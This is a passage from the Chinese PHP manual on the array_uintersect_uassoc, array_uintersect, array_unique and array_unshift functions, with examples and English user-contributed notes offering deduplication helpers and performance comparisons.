  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

There are no user contributed notes for this page.


带索引检查计算数组的交集，用单独的回调函数比较数据和索引

  • ? array_uintersect_assoc
  • array_uintersect ?
  • PHP Manual
  • 数组 函数
  • 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

array_uintersect_uassoc

(PHP 5, PHP 7, PHP 8)

array_uintersect_uassoc — 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

说明

array_uintersect_uassoc(
array $array1,
array ...$arrays,
callable $value_compare_func,
callable $key_compare_func
): array

通过额外的索引检查、回调函数比较数据和索引来返回多个数组的交集。

参数

array1

第一个数组。

arrays

更多数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

key_compare_func

键名比较的回调函数。

返回值

返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。

示例

Example #1 array_uintersect_uassoc() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect_uassoc($array1, $array2, "strcasecmp", "strcasecmp"));
?>

以上示例会输出：

Array
(
    [a] => green
    [b] => brown
)

参见

  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据

User Contributed Notes

aidan at php dot net 31-Aug-2004 03:52
Please note, the correct function synopsis is:

array array_uintersect_uassoc ( array array1, array array2 [, array ...], callback data_compare_func, callback key_compare_func)

You may specifiy as many arrays as you like, but the last two parameters must be valid call back functions.


计算数组的交集，用回调函数比较数据

  • ? array_uintersect_uassoc
  • array_unique ?
  • PHP Manual
  • 数组 函数
  • 计算数组的交集，用回调函数比较数据

array_uintersect

(PHP 5, PHP 7, PHP 8)

array_uintersect — 计算数组的交集，用回调函数比较数据

说明

array_uintersect(array $array, array ...$arrays, callable $value_compare_func): array

array_uintersect() 返回一个数组，该数组包含了所有在 array1 中也同时出现在所有其它参数数组中的值。数据比较是用回调函数进行的。 此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

参数

array

第一个数组。

arrays

要比较的数组。

value_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

返回一个数组，数组中包含了 array 中在所有的参数中都存在的值。

示例

Example #1 array_uintersect() 例子

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_uintersect($array1, $array2, "strcasecmp"));
?>

以上示例会输出：

Array
(
    [a] => green
    [b] => brown
    [0] => red
)

参见

  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

Ryan C 25-Mar-2022 04:17
If you're rolling your own comparison function, keep in mind that the spaceship operator (i.e. <=>) can be your best friend. It's been around since PHP7. https://www.php.net/manual/en/language.operators.comparison.php

So, for instance, instead of a clunky function like:

<?php
function myFunction($v1, $v2) {
   if ($v1 === $v2) {
      return 0;
   }
   if ($v1 > $v2) return 1;
   return -1;
}
?>

You can simplify it to:

<?php
function myFunction($v1, $v2) {
   return $v1 <=> $v2;
}
?>
rob dot c dot ruiz at gmail dot com 15-Nov-2018 11:21
When trying to do a case insensitive comparison between arrays of words, the strcasecmp function works very nicely with this one like so:

$arr1 = array('blue', 'green', 'red');

$arr2 = array('BLUE', 'Purple', 'Red');

$loose_matches = array_uintersect($arr1, $arr2, 'strcasecmp');

print_r($loose_matches) // array('blue', 'red');
Hayley Watson 01-Jan-2018 10:25
As for the other "compare function" callbacks, the return value from the callback function doesn't need to be -1, 0, or 1.

cmp($a,$b) just needs to be <0, =0, or >0 depending on whether $a<$b, $a=$b, or $a>$b.
Nate at RuggFamily dot com 02-Feb-2007 12:03
I want to stress that in the user function, you do need to return either a 1 or a -1 properly; you cannot simply return 0 if the results are equal and 1 if they are not.

The following code is incorrect:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
return 1;
}

$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>

This code is correct:

<?php
function myfunction($v1,$v2)
{
if ($v1===$v2)
    {
    return 0;
    }
if ($v1 > $v2) return 1;
return -1;
}
$a1=array(1, 2, 4);
$a2=array(1, 3, 4);
print_r(array_uintersect($a1,$a2,"myfunction"));
?>


移除数组中重复的值

  • ? array_uintersect
  • array_unshift ?
  • PHP Manual
  • 数组 函数
  • 移除数组中重复的值

array_unique

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

array_unique — 移除数组中重复的值

说明

array_unique(array $array, int $flags = SORT_STRING): array

array_unique() 接受 array 作为输入并返回没有重复值的新数组。

注意键名保留不变。如果在指定了 flags 时存在多个相等的元素， 会保留第一个相等的元素的键（key）和值（value）。

Note: 当且仅当 (string) $elem1 === (string) $elem2 时两个单元被认为相同。 例如，字符串表达一样时，会使用首个元素。

参数

array

输入的数组。

flags

第二个可选参数flags 可用于修改比较行为：

比较类型标记：

  • SORT_REGULAR - 按照通常方法比较（不修改类型）
  • SORT_NUMERIC - 按照数字形式比较
  • SORT_STRING - 按照字符串形式比较
  • SORT_LOCALE_STRING - 根据当前的本地化设置，按照字符串比较。

返回值

返回过滤后的数组。

更新日志

版本 | 说明
7.2.0 | 如果 flags 是 SORT_STRING， 之前会复制 array 并移除非唯一数组（之后并不打包数组）， 现在是通过添加唯一元素来生成新数组。这可能会导致不同的数字索引。

示例

Example #1 array_unique() 例子

<?php
$input = array("a" => "green", "red", "b" => "green", "blue", "red");
$result = array_unique($input);
print_r($result);
?>

以上示例会输出：

Array
(
    [a] => green
    [0] => red
    [1] => blue
)

Example #2 array_unique() 和类型

<?php
$input = array(4, "4", "3", 4, 3, "3");
$result = array_unique($input);
var_dump($result);
?>

以上示例会输出：

array(2) {
  [0] => int(4)
  [2] => string(1) "3"
}

注释

Note: 注意， array_unique() 不能应用于多维数组。

参见

  • array_count_values() - 统计数组中每个不同值的出现次数

User Contributed Notes

Victoire Nkolo at crinastudio.com 18-Mar-2023 12:35
<?php

//removes duplicated objetcs from an array according to the property given

class ArrayFilter
{

    public static function dedupe_array_of_objets(array $array, string $property) : array
    {
        $i = 0;
        $filteredArray = array();
        $keyArray = array();

        foreach($array as $item) {
            if (!in_array($item->$property, $keyArray)) {
                $keyArray[$i] = $item->$property;
                $filteredArray[$i] = $item;
            }
            $i++;
        }
        return $filteredArray;
    }
}
Mike D. - michal at euro-net.pl 17-Dec-2022 12:47
modified code originally posted by Ghanshyam Katriya(anshkatriya at gmail) [highest voted comment here].

1. In php 7.4 counter $i breaks the function. Removed completely (imo was waste of keystrokes anyway).
2. I added second return value - array of duplicates. So you can take both and compare them (I had to).

Example array (copy-paste from original post):
<?php
$details = array(
    0 => array("id"=>"1", "name"=>"Mike",    "num"=>"9876543210"),
    1 => array("id"=>"2", "name"=>"Carissa", "num"=>"08548596258"),
    2 => array("id"=>"1", "name"=>"Mathew",  "num"=>"784581254"),
);
?>

Function:
<?php
function unique_multidim_array($array, $key) : array {
    $uniq_array = array();
    $dup_array = array();
    $key_array = array();

    foreach($array as $val) {
        if (!in_array($val[$key], $key_array)) {
            $key_array[] = $val[$key];
            $uniq_array[] = $val;
/*
            # 1st list to check:
            # echo "ID or sth: " . $val['building_id'] . "; Something else: " . $val['nodes_name'] . (...) "\n";
*/
        } else {
            $dup_array[] = $val;
/*
            # 2nd list to check:
            # echo "ID or sth: " . $val['building_id'] . "; Something else: " . $val['nodes_name'] . (...) "\n";
*/
        }
    }
    return array($uniq_array, $dup_array, /* $key_array */);
}
?>

Usage:
<?php
list($unique_addresses, $duplicates, /* $unique_keys */) = unique_multidim_array($details,'id');
?>

Then:
var_dump($unique_addresses);
or
var_dump($duplicates);
or foreach or whatever. Personally I just echo-ed 1st and then 2nd (both DOUBLE COMMENTED) list in function itself (then copied both to notepad++ and compared them - just to be 100% sure), but in case you want to do something else with it - enjoy :)
Plus - as a bonus - you also get an array of UNIQUE keys you searched for (just uncomment >$key_array< in both: function return and function call code).

From example array code returns:
var_dump($unique_addresses);
array(2) {
  [0]=>
  array(3) {
    ["id"]=>
    string(1) "1"
    ["name"]=>
    string(4) "Mike"
    ["num"]=>
    string(10) "9876543210"
  }
  [1]=>
  array(3) {
    ["id"]=>
    string(1) "2"
    ["name"]=>
    string(7) "Carissa"
    ["num"]=>
    string(11) "08548596258"
  }
}

var_dump($duplicates);
array(1) {
  [0]=>
  array(3) {
    ["id"]=>
    string(1) "1"
    ["name"]=>
    string(6) "Mathew"
    ["num"]=>
    string(9) "784581254"
  }
}

Plus keys, if you want.

P.S.: in my - practical - case of DB querying I got around 4k uniques and 15k dupes :)
tasiot 23-Nov-2022 10:45
array_unique is not compatible with php 8.1 enums because enums don't have a string representation yet (even the BackedEnum of string type...).
You get an error: "Object of class XXXX could not be converted to string."

So I wrote this function that creates a string representation of the enums and use the array keys to remove duplicates:

<?php

function array_unique_81(array $values): array
{
    $unique = [];
    foreach ($values as $value) {
        if ($value instanceof \UnitEnum) {
            $key = 'e:' . \get_class($value) . ':' . $value->name;
        } else {
            $key = 's:' . (string)$value;
        }
        $unique[$key] = $value;
    }
    return \array_values($unique);
}

?>
free dot smilesrg at gmail dot com 01-Nov-2022 02:43
$a = new StdClass();
$b = new StdClass();

var_dump(array_unique([$a, $b, $b, $a], SORT_REGULAR));
//array(1) {
//  [0]=>
//    object(stdClass)#1 (0) {
//  }
//}

$a->name = 'One';
$b->name = 'Two';

var_dump(array_unique([$a, $b, $b, $a], SORT_REGULAR));

//array(2) {
//  [0]=>
//  object(stdClass)#1 (1) {
//    ["name"]=>
//    string(3) "One"
//  }
//  [1]=>
//  object(stdClass)#2 (1) {
//    ["name"]=>
//    string(3) "Two"
//  }
//}
Sbastien 24-May-2022 09:45
Because of PHP comparaisons modalities, you can never distinguish null from others falsy values.
Note the absorbing nature of true and false booleans in mix types array.

<?php

$a = [true, false, null, '', '0', '123', 0, 123];
foreach (['SORT_REGULAR', 'SORT_NUMERIC', 'SORT_STRING', 'SORT_LOCALE_STRING'] as $flag) {
    $a_new = array_unique($a, constant($flag));
    echo "{$flag} ==> ";
    var_dump($a_new);
}

/*

Gives :

SORT_REGULAR ==> array(2) {
  [0]=> bool(true)
  [1]=> bool(false)
}
SORT_NUMERIC ==> array(3) {
  [0]=> bool(true)
  [1]=> bool(false)
  [5]=> string(3) "123"
}
SORT_STRING ==> array(4) {
  [0]=> bool(true)
  [1]=> bool(false)
  [4]=> string(1) "0"
  [5]=> string(3) "123"
}
SORT_LOCALE_STRING ==> array(4) {
  [0]=> bool(true)
  [1]=> bool(false)
  [4]=> string(1) "0"
  [5]=> string(3) "123"
}

*/
contact at evoweb dot fr 16-Feb-2021 08:32
Here is a solution to make unique values keeping empty values for an array with keys :

<?php
function array_unique_kempty($array) {
    $values = array_unique($array);
    $return = array_combine(array_keys($array), array_fill(0,count($array),null));
    return array_merge($return,$values);
}

$myArray = [
    "test1" => "aaa",
    "test2" => null,
    "test3" => "aaa",
    "test4" => "bbb",
    "test5" => null,
    "test6" => "ccc",
    "test7" => "ddd",
    "test8" => "ccc"
];

echo "<pre>".print_r(array_unique_kempty($myArray),true)."</pre>";

/*
Array
(
    [test1] => aaa
    [test2] =>
    [test3] =>
    [test4] => bbb
    [test5] =>
    [test6] => ccc
    [test7] => ddd
    [test8] =>
)
*/
?>
falundir at gmail dot com 19-Jun-2018 05:51
I find it odd that there is no version of this function which allows you to use a comparator callable in order to determine items equality (like array_udiff and array_uintersect). So, here's my version for you:

<?php
function array_uunique(array $array, callable $comparator): array {
    $unique_array = [];
    do {
        $element = array_shift($array);
        $unique_array[] = $element;

        $array = array_udiff(
            $array,
            [$element],
            $comparator
        );
    } while (count($array) > 0);

    return $unique_array;
}
?>

And here is a test code:

<?php
class Foo {

    public $a;

    public function __construct(int $a) {
        $this->a = $a;
    }
}

$array_of_objects = [new Foo(2), new Foo(1), new Foo(3), new Foo(2), new Foo(2), new Foo(1)];

$comparator = function (Foo $foo1, Foo $foo2): int {
    return $foo1->a <=> $foo2->a;
};

var_dump(array_uunique($array_of_objects, $comparator)); // should output [Foo(2), Foo(1), Foo(3)]
?>
subhrajyoti dot de007 at gmail dot com 01-Jun-2018 05:25
Simple and clean way to get duplicate entries removed from a multidimensional array.

<?php
          $multi_array = $multi_array [0];
          $multi_array = array_unique($multi_array);
          print_r($multi_array);
?>
Fabiano 04-Jan-2018 10:22
As for PHP 7.1.12, this is the comparison between array_keys(array_flip()), array_flip(array_flip()), for each elimination and array_unique. The array_keys(array_flip()) is the fastest method to remove duplication values from a single dimension array:

<?php

$max = 1000000;
$arr = range(1,$max,3);
$arr2 = range(1,$max,2);
$arr = array_merge($arr,$arr2);

$time = -microtime(true);
$res1 = array_unique($arr);
$time += microtime(true);

echo "<br>deduped to ".count($res1)." in ".$time;
// deduped to 666667 in 0.78185796737671
// memory used: 33558528

$time = -microtime(true);
$res2 = array_flip(array_flip($arr));
$time += microtime(true);

echo "<br><br>deduped to ".count($res2)." in ".$time;
// deduped to 666667 in 0.072191953659058
// memory used: 3774873

$time = -microtime(true);
$res3 = array();
foreach($arr as $key=>$val) {
    $res3[$val] = true;
}
$res3 = array_keys($res3);
$time += microtime(true);

echo "<br /><br>deduped to ".count($res3)." in ".$time;
// deduped to 666667 in 0.095494985580444
// memory used: 33558528

$time = -microtime(true);
$res4 = array_keys(array_flip($arr));
$time += microtime(true);

echo "<br /><br>deduped to ".count($res4)." in ".$time;
// deduped to 666667 in 0.05807900428772
// memory used: 33558528
calexandrepcjr at gmail dot com 20-Jun-2017 03:19
Following the Ghanshyam Katriya idea, but with an array of objects, where the $key is related to object propriety that you want to filter the uniqueness of array:

<?php
function obj_multi_unique($obj, $key = false)
    {
        $totalObjs = count($obj);
        if (is_array($obj) && $totalObjs > 0 && is_object($obj[0]) && ($key && !is_numeric($key))) {
            for ($i = 0; $i < $totalObjs; $i++) {
                if (isset($obj[$i])) {
                    for ($j = $i + 1; $j < $totalObjs; $j++) {
                        if (isset($obj[$j]) && $obj[$i]->{$key} === $obj[$j]->{$key}) {
                            unset($obj[$j]);
                        }
                    }
                }
            }
            return array_values($obj);
        } else {
            throw new Exception('Invalid argument or your array of objects is empty');
        }
    }
?>
stoff@ 20-Jan-2017 03:23
In reply to performance tests array_unique vs foreach.

In PHP7 there were significant changes to Packed and Immutable arrays resulting in the performance difference to drop considerably. Here is the same test on php7.1 here;
http://sandbox.onlinephpfunctions.com/code/2a9e986690ef8505490489581c1c0e70f20d26d1

$max = 770000; //large enough number within memory allocation
$arr = range(1,$max,3);
$arr2 = range(1,$max,2);
$arr = array_merge($arr,$arr2);

$time = -microtime(true);
$res1 = array_unique($arr);
$time += microtime(true);
echo "deduped to ".count($res1)." in ".$time;
// deduped to 513333 in 1.0876770019531

$time = -microtime(true);
$res2 = array();
foreach($arr as $key=>$val) {
    $res2[$val] = true;
}
$res2 = array_keys($res2);
$time += microtime(true);
echo "<br />deduped to ".count($res2)." in ".$time;
// deduped to 513333 in 0.054931879043579
zoolyka at gmail dot com 18-Jan-2016 10:48
I found the simplest way to "unique" multidimensional arrays as follows:

<?php

$array = array(
    'a' => array(1, 2),
    'b' => array(1, 2),
    'c' => array(2, 2),
    'd' => array(2, 1),
    'e' => array(1, 1),
);

$array = array_map('json_encode', $array);
$array = array_unique($array);
$array = array_map('json_decode', $array);

print_r($array);

?>

As you can see "b" will be removed without any errors or notices.
Ludovico Grossi 19-Dec-2014 02:01
[Editor's note: please note that this will not work well with non-scalar values in the array. Array keys can not be arrays themselves, nor streams, resources, etc. Flipping the array causes a change in key-name]

You can do a super fast version of array_unique directly in PHP, even faster than the other solution posted in the comments!

Compared to the built in function it is 20x faster! (2x faster than the solution in the comments).

<?php
function superfast_array_unique($array) {
    return array_keys(array_flip($array));
}
?>

This works faster for small and big arrays.
Ghanshyam Katriya(anshkatriya at gmail) 09-Dec-2014 10:15
Create multidimensional array unique for any single key index.
e.g I want to create multi dimentional unique array for specific code

Code :
My array is like this,

<?php
$details = array(
    0 => array("id"=>"1", "name"=>"Mike",    "num"=>"9876543210"),
    1 => array("id"=>"2", "name"=>"Carissa", "num"=>"08548596258"),
    2 => array("id"=>"1", "name"=>"Mathew",  "num"=>"784581254"),
);
?>

You can make it unique for any field like id, name or num.

I have develop this function for same :
<?php
function unique_multidim_array($array, $key) {
    $temp_array = array();
    $i = 0;
    $key_array = array();

    foreach($array as $val) {
        if (!in_array($val[$key], $key_array)) {
            $key_array[$i] = $val[$key];
            $temp_array[$i] = $val;
        }
        $i++;
    }
    return $temp_array;
}
?>

Now, call this function anywhere from your code,

something like this,
<?php
$details = unique_multidim_array($details,'id');
?>

Output will be like this :
<?php
$details = array(
    0 => array("id"=>"1","name"=>"Mike","num"=>"9876543210"),
    1 => array("id"=>"2","name"=>"Carissa","num"=>"08548596258"),
);
?>
mostafatalebi at rocketmail dot com 13-Dec-2013 02:38
If you find the need to get a sorted array without it preserving the keys, use this code which has worked for me:

<?php

$array = array("hello", "fine", "good", "fine", "hello", "bye");

$get_sorted_unique_array = array_values(array_unique($array));

?>

The above code returns an array which is both unique and sorted from zero.
sashasimkin at gmail dot com 25-Apr-2012 01:26
My object unique function:

<?php
function object_unique( $obj ){
    $objArray = (array) $obj;

    $objArray = array_intersect_assoc( array_unique( $objArray ), $objArray );

    foreach( $obj as $n => $f ) {
        if( !array_key_exists( $n, $objArray ) ) unset( $obj->$n );
    }

    return $obj;
}
?>

And these code:

<?php
class Test{
    public $pr0 = 'string';
    public $pr1 = 'string1';
    public $pr2 = 'string';
    public $pr3 = 'string2';
}

$obj = new Test;

var_dump( object_unique( $obj ) );
?>

returns:
object(Test)[1]
  public 'pr0' => string 'string' (length=6)
  public 'pr1' => string 'string1' (length=7)
  public 'pr3' => string 'string2' (length=7)
Anonymous 16-Jun-2010 05:46
It's often faster to use a foreache and array_keys than array_unique:

    <?php

    $max = 1000000;
    $arr = range(1,$max,3);
    $arr2 = range(1,$max,2);
    $arr = array_merge($arr,$arr2);

    $time = -microtime(true);
    $res1 = array_unique($arr);
    $time += microtime(true);
    echo "deduped to ".count($res1)." in ".$time;
    // deduped to 666667 in 32.300781965256

    $time = -microtime(true);
    $res2 = array();
    foreach($arr as $key=>$val) {
        $res2[$val] = true;
    }
    $res2 = array_keys($res2);
    $time += microtime(true);
    echo "<br />deduped to ".count($res2)." in ".$time;
    // deduped to 666667 in 0.84372591972351

    ?>
regeda at inbox dot ru 12-Apr-2010 08:11
recursive array unique for multiarrays

<?php
function super_unique($array)
{
  $result = array_map("unserialize", array_unique(array_map("serialize", $array)));

  foreach ($result as $key => $value)
  {
    if ( is_array($value) )
    {
      $result[$key] = super_unique($value);
    }
  }

  return $result;
}
?>
amri [ at t] dhstudio dot eu 18-Dec-2009 02:36
I searched how to show only the de-duplicate elements from array, but failed.
Here is my solution:

<?php
function arrayUniqueElements($array)
{
return array_unique(array_diff_assoc($array1,array_unique($array1)));
};
?>

Example:
<?php
$arr1 = array('foo', 'bar', 'xyzzy', '&', 'xyzzy',
'baz', 'bat', '|', 'xyzzy', 'plugh',
'xyzzy', 'foobar', '|', 'plonk', 'xyzzy',
'apples', '&', 'xyzzy', 'oranges', 'xyzzy',
'pears','foobar');

$result=arrayUniqueElements($arr1);
print_r($result);exit;
?>

Output:

Array
(
[4] => xyzzy
[12] => |
[16] => &
[21] => foobar
)
dirk dot avery a t gmail 30-Apr-2009 08:45
Although array_unique is not intended to work with multi-dimensional arrays, it does on 5.2.9.  However, it does not for 5.2.5.  Beware.
jusvalceanu - SPAM at SPAM - yahoo dot com 06-Nov-2008 02:23
so .... my problem was multidimensional sort.

<?php
      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

?>

Array $attribs is an array contaning arrays. Each array in the $attrib array consists in multiple fields (ex: name, lenght, price, etc.) to be more simpler in speech think that $attrib is the array resulted by a search sql query done by a visitator on your online shoopping website ... (so ... each array in the $attrib is a product :P) if you want to sort only the uniq results use the above or use this:

<?php

   /* Our Array of products */
   $attribs[] = array(
                           "name"         => "Test Product 1",
                           "length"     => "42 cm",
                           "weight"     => "0,5 kg",
                           "price"     => "10 $",
                           "stock"     => "100",
                        );

   $attribs[] = array(
                           "name"         => "Test Product 2",
                           "length"     => "42 cm",
                           "weight"     => "1,5 kg",
                           "price"     => "10 $",
                           "stock"     => "200",
                        );

    /* The nice stuff */

      $new = array();
      $exclude = array("");
      for ($i = 0; $i<=count($attribs)-1; $i++) {
         if (!in_array(trim($attribs[$i]["price"]) ,$exclude)) { $new[] = $attribs[$i]; $exclude[] = trim($attribs[$i]["price"]); }
      }

      print_r($new); // $new is our sorted array

?>

Have fun tweaking this ;)) i know you will ;))

From Romania With Love
quecoder at gmail 25-Aug-2008 10:30
another method to get unique values is :

<?php
$alpha=array('a','b','c','a','b','d','e','f','f');

$alpha= array_keys(array_count_values($alpha));

print_r($alpha);
?>

Output:
Array ( [0] => a [1] => b [2] => c [3] => d [4] => e [5] => f )
Dorphalsig 28-Jul-2008 09:47
I had a problem with array_unique and multidimensional arrays ... Maybe there's a better way to do this, but this will work for any dimensional arrays.

<?php
function arrayUnique($myArray)
{
    if(!is_array($myArray))
           return $myArray;

    foreach ($myArray as &$myvalue){
        $myvalue=serialize($myvalue);
    }

    $myArray=array_unique($myArray);

    foreach ($myArray as &$myvalue){
        $myvalue=unserialize($myvalue);
    }

    return $myArray;

}
?>
PHP Expert 14-Apr-2008 05:34
Case insensitive for PHP v4.x and up.

<?php

function in_iarray($str, $a) {
    foreach ($a as $v) {
        if (strcasecmp($str, $v) == 0) {
            return true;
        }
    }
    return false;
}

function array_iunique($a) {
    $n = array();
    foreach ($a as $k => $v) {
        if (!in_iarray($v, $n)) {
            $n[$k]=$v;
        }
    }
    return $n;
}

$input = array("aAa","bBb","cCc","AaA","ccC","ccc","CCC","bBB","AAA","XXX");
$result = array_iunique($input);
print_r($result);

/*
Array
(
    [0] => aAa
    [1] => bBb
    [2] => cCc
    [9] => XXX
)
*/
?>
Ray dot Paseur at SometimesUsesGmail dot com 01-Mar-2008 07:46
I needed to identify email addresses in a data table that were replicated, so I wrote the array_not_unique() function:

<?php

function array_not_unique($raw_array) {
    $dupes = array();
    natcasesort($raw_array);
    reset ($raw_array);

    $old_key    = NULL;
    $old_value    = NULL;
    foreach ($raw_array as $key => $value) {
        if ($value === NULL) { continue; }
        if ($old_value == $value) {
            $dupes[$old_key]    = $old_value;
            $dupes[$key]        = $value;
        }
        $old_value    = $value;
        $old_key    = $key;
    }
return $dupes;
}

$raw_array     = array();
$raw_array[1]    = 'abc@xyz.com';
$raw_array[2]    = 'def@xyz.com';
$raw_array[3]    = 'ghi@xyz.com';
$raw_array[4]    = 'abc@xyz.com'; // Duplicate

$common_stuff    = array_not_unique($raw_array);
var_dump($common_stuff);
?>
mnbayazit 28-Oct-2007 02:18
Case insensitive; will keep first encountered value.

<?php

function array_iunique($array) {
    $lowered = array_map('strtolower', $array);
    return array_intersect_key($array, array_unique($lowered));
}

?>
webmaster at jukkis dot net 30-Jul-2007 04:08
Another way to 'unique column' an array, in this case an array of objects:
Keep the desired unique column values in a static array inside the callback function for array_filter.

Example:
<?php
/* example object */
class myObj {
  public $id;
  public $value;
  function __construct( $id, $value ) {
    $this->id = $id;
    $this->value = $value;
  }
}

/* callback function */
function uniquecol( $obj ) {
  static $idlist = array();

  if ( in_array( $obj->id, $idlist ) )
    return false;

  $idlist[] = $obj->id;
  return true;
}

/* a couple of arrays with second array having an element with same id as the first */
$list  = array( new myObj( 1, 1  ), new myObj( 2, 100 ) );
$list2 = array( new myObj( 1, 10 ), new myObj( 3, 100 ) );
$list3 = array_merge( $list, $list2 );

$unique = array_filter( $list3, 'uniquecol' );
print_r( $list3 );
print_r( $unique );

?>

In addition, use array_merge( $unique ) to reindex.
geuis dot teses at gmail dot com 09-Oct-2006 10:27
Here's the shortest line of code I could find/create to remove all duplicate entries from an array and then reindex the keys.

<?php

// Fruits, vegetables, and other food:
$var = array('apple','banana','carrot','cat','dog','egg','eggplant','fish');

$var = array_values(array_unique($var));
?>
keneks at gmail dot com 30-Sep-2006 07:01
Taking the advantage of array_unique, here is a simple function to check if an array has duplicate values.

It simply compares the number of elements between the original array and the array_uniqued array.

<?php

function array_has_duplicates(array $array)
{
    $uniq = array_unique($array);
    return count($uniq) != count($array);
}

?>
agarcia at rsn dot com dot co 31-Mar-2006 12:41
This is a script for multi_dimensional arrays

<?php
function remove_dup($matriz) {
    $aux_ini=array();
    $entrega=array();
    for($n=0;$n<count($matriz);$n++)
    {
        $aux_ini[]=serialize($matriz[$n]);
    }
    $mat=array_unique($aux_ini);
    for($n=0;$n<count($matriz);$n++)
    {

            $entrega[]=unserialize($mat[$n]);

    }
    return $entrega;
}
?>
memandeemail at gmail dot com 03-Jan-2006 10:47
Problem:
I have loaded an array with the results of a database
query.  The Fields are 'FirstName' and 'LastName'.

I would like to find a way to contactenate the two
fields, and then return only unique values for the
array.  For example, if the database query returns
three instances of a record with the FirstName John
and the LastName Smith in two distinct fields, I would
like to build a new array that would contain all the
original fields, but with John Smith in it only once.
Thanks for: Colin Campbell

Solution:

<?php
/**
 * The same thing than implode function, but return the keys so
 *
 * <code>
 * $_GET = array('id' => '4587','with' => 'key');
 * ...
 * echo shared::implode_with_key('&',$_GET,'='); // Resultado: id=4587&with=key
 * ...
 * </code>
 *
 * @param string $glue Oque colocar entre as chave => valor
 * @param array $pieces Valores
 * @param string $hifen Separar chave da array do valor
 * @return string
 * @author memandeemail at gmail dot com
 */
function implode_with_key($glue = null, $pieces, $hifen = ',') {
  $return = null;
  foreach ($pieces as $tk => $tv) $return .= $glue.$tk.$hifen.$tv;
  return substr($return,1);
}

/**
 * Return unique values from a tree of values
 *
 * @param array $array_tree
 * @return array
 * @author memandeemail at gmail dot com
 */
function array_unique_tree($array_tree) {
  $will_return = array(); $vtemp = array();
  foreach ($array_tree as $tkey => $tvalue) $vtemp[$tkey] = implode_with_key('&',$tvalue,'=');
  foreach (array_keys(array_unique($vtemp)) as $tvalue) $will_return[$tvalue] = $array_tree[$tvalue];
  return $will_return;
}

$problem = array_fill(0,3,
array('FirstName' => 'John', 'LastName' => 'Smith')
);

$problem[] = array('FirstName' => 'Davi', 'LastName' => 'S. Mesquita');
$problem[] = array('FirstName' => 'John', 'LastName' => 'Tom');

print_r($problem);

print_r(array_unique_tree($problem));
?>
csaba at alum dot mit dot edu 09-Jun-2004 07:17
The following is an efficient, adaptable implementation of array_unique which always retains the first key having a given value:

<?php
function array_unique2(&$aray) {
    $aHash = array();
    foreach ($aray as $key => &$val) if (@$aHash[$val]++) unset ($aray[$key]);
}
?>

It is also adaptable to multi dimensional arrays.  For example, if your array is a sequence of (multidimensional) points, then in place of @$aHash[$val]++ you could use @$aHash[implode("X",$val)]++
If you want to not have holes in your array, you can do an array_merge($aray) at the end.

Csaba Gabor


在数组开头插入一个或多个单元

  • ? array_unique
  • array_values ?
  • PHP Manual
  • 数组 函数
  • 在数组开头插入一个或多个单元

array_unshift

(PHP 4, PHP 5, PHP 7, PHP 8)

array_unshift — 在数组开头插入一个或多个单元

说明

array_unshift(array &$array, mixed ...$values): int

array_unshift() 将传入的单元插入到 array 数组的开头。注意单元是作为整体被插入的，因此传入单元将保持同样的顺序。所有的数值键名将修改为从零开始重新计数，所有的文字键名保持不变。

Note:

重置数组中的内部指针，指向第一个元素。

参数

array

输入的数组。

values

插入的变量。

返回值

返回 array 数组新的单元数目。

更新日志

版本 | 说明
7.3.0 | 现在可以只用一个参数来调用，之前至少需要两个参数。

示例

Example #1 array_unshift() 示例

<?php
$queue = [
"orange",
"banana"
];

array_unshift($queue, "apple", "raspberry");
var_dump($queue);
?>

以上示例会输出：

array(4) {
  [0] =>
  string(5) "apple"
  [1] =>
  string(9) "raspberry"
  [2] =>
  string(6) "orange"
  [3] =>
  string(6) "banana"
}

Example #2 关联数组用法

如果一个关联数组添加到另一个关联数组开头，则添加到开头的数组将数字索引到前者的数组中。

<?php
$foods = [
'apples' => [
'McIntosh' => 'red',
'Granny Smith' => 'green',
],
'oranges' => [
'Navel' => 'orange',
'Valencia' => 'orange',
],
];
$vegetables = [
'lettuce' => [
'Iceberg' => 'green',
'Butterhead' => 'green',
],
'carrots' => [
'Deep Purple Hybrid' => 'purple',
'Imperator' => 'orange',
],
'cucumber' => [
